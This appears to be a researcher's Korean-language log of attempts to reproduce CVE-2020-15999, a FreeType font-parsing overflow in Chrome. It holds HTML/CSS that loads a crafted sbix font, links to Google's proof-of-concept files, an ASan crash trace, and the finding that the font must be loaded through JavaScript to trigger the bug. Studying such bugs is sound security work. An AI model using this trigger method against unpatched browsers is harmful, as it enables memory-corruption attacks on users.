
CVE-2020-15999
CVE-2020-15999
SBIX 테이블이 있는 글꼴 추가 (Arial 기반) - https://docs.microsoft.com/en-us/typography/opentype/spec/sbix
ftview에서 크래시 발생 (asan.png) 하지만 어떻게든 Chrome을 크래시시키지는 못함
플래그도 올바르게 설정되지 않아 load_sbit_image()도 호출되지 않습니다. 이상하네요.
다음과 같이 호출합니다:
index.html```
<link rel="stylesheet" href="style.css" type="text/css" media="all" />
<style>
.sample {
font-family: 'UntitledTTF';
border: 1px solid #ddd;
display: inline-block;
padding: 10px;
}
</style>
</head>
<body>
<p class="sample">
The quick brown fox jumps over the lazy dog
</p>
</body>
```
stlye.css```
@font-face {
font-family: "UntitledTTF";
src: url("./fonts/font.eot"); /* IE9 Compat Modes */
src: url("./fonts/font.eot?#iefix") format("embedded-opentype"), /* IE6-IE8 */
url("./fonts/font.svg") format("svg"), /* Legacy iOS */
url("./fonts/arialnew.ttf.sbix.ttf") format("truetype"), /* Safari, Android, iOS */
url("./fonts/font.woff") format("woff"), /* Modern Browsers */
url("./fonts/font.woff2") format("woff2"); /* Modern Browsers */
font-weight: normal;
font-style: normal;
}
.adjust {
font-size-adjust: 2;
}
```
아마 누군가는 이것을 트리거하는 방법을 알아서 더 운이 좋을 수도 있습니다. 그렇지 않으면 Google의 writeup을 기다리겠습니다.
Chrome을 크래시시키는 데 성공했습니다 ... 디버거에서 일부 글꼴 매개변수를 조정해야 했습니다. 이는 글꼴에서도 그렇게 할 수 있음을 의미합니다. 계속 지켜봐 주세요.

이것이 트리거해야 합니다 (Google PoC). 글꼴이 JavaScript를 통해 로드되는 것을 보니, 제 시도와는 다르네요:
https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472035
시간이 나는 대로 디버깅하겠습니다...
이전 디버깅은 모두 Chromium으로 했는데, 코드베이스가 그때와 다른 것 같습니다. 그것은 많은 것을 설명해 줄 수 있습니다.
Chrome에서는 Google의 PoC가 작동합니다: https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472398
Chromium에서는 작동하지 않습니다.
여러 검사(check)에서 멈추는 것 같습니다. 그 검사들을 통과하도록 설정하면 모든 PoC에서 크래시가 발생합니다:``` Received signal 11 SEGV_MAPERR 000000000000 #0 0x55555d7ace0b in backtrace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:4176:13 #1 0x7ffff796c8df in base::debug::CollectStackTrace(void**, unsigned long) ./../../base/debug/stack_trace_posix.cc:833:39 #2 0x7ffff7247239 in base::debug::StackTrace::StackTrace(unsigned long) ./../../base/debug/stack_trace.cc:198:12 #3 0x7ffff7247098 in base::debug::StackTrace::StackTrace() ./../../base/debug/stack_trace.cc:195:28 #4 0x7ffff796ae6d in base::debug::(anonymous namespace)::StackDumpSignalHandler(int, siginfo_t*, void*) ./../../base/debug/stack_trace_posix.cc:345:3 #5 0x7fff555c48a0 in __funlockfile ??:? #6 0x7fff555c48a0 in ?? ??:0 #7 0x7fff51cfd5ee in ?? /build/glibc-2ORdQG/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:277:0 #8 0x55555d7efca2 in __asan_memcpy /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 #9 0x7fffa01df08f in read_data_from_FT_Stream ./../../third_party/freetype/src/src/sfnt/pngshim.c:245:5 #10 0x7fffa0865f6d in cr_png_read_data ./../../third_party/libpng/pngrio.c:37:7 #11 0x7fffa08927b0 in cr_png_read_sig ./../../third_party/libpng/pngrutil.c:137:4 #12 0x7fffa0852e02 in cr_png_read_info ./../../third_party/libpng/pngread.c:104:4 #13 0x7fffa01dd6a3 in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:322:5 #14 0x7fffa01d9440 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1548:15 #15 0x7fffa01aa6d7 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1611:15 #16 0x7fffa0246ddb in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13 #17 0x7fffa0244f77 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15 #18 0x7fffa020467e in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13 #19 0x7fffa005ff2f in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15
## 업데이트 4
아니 ... 전부 맞습니다.
트리거하려면 JavaScript를 통해 글꼴을 로드해야 합니다. CSS를 통한 로딩은 작동하지 않습니다:
즉```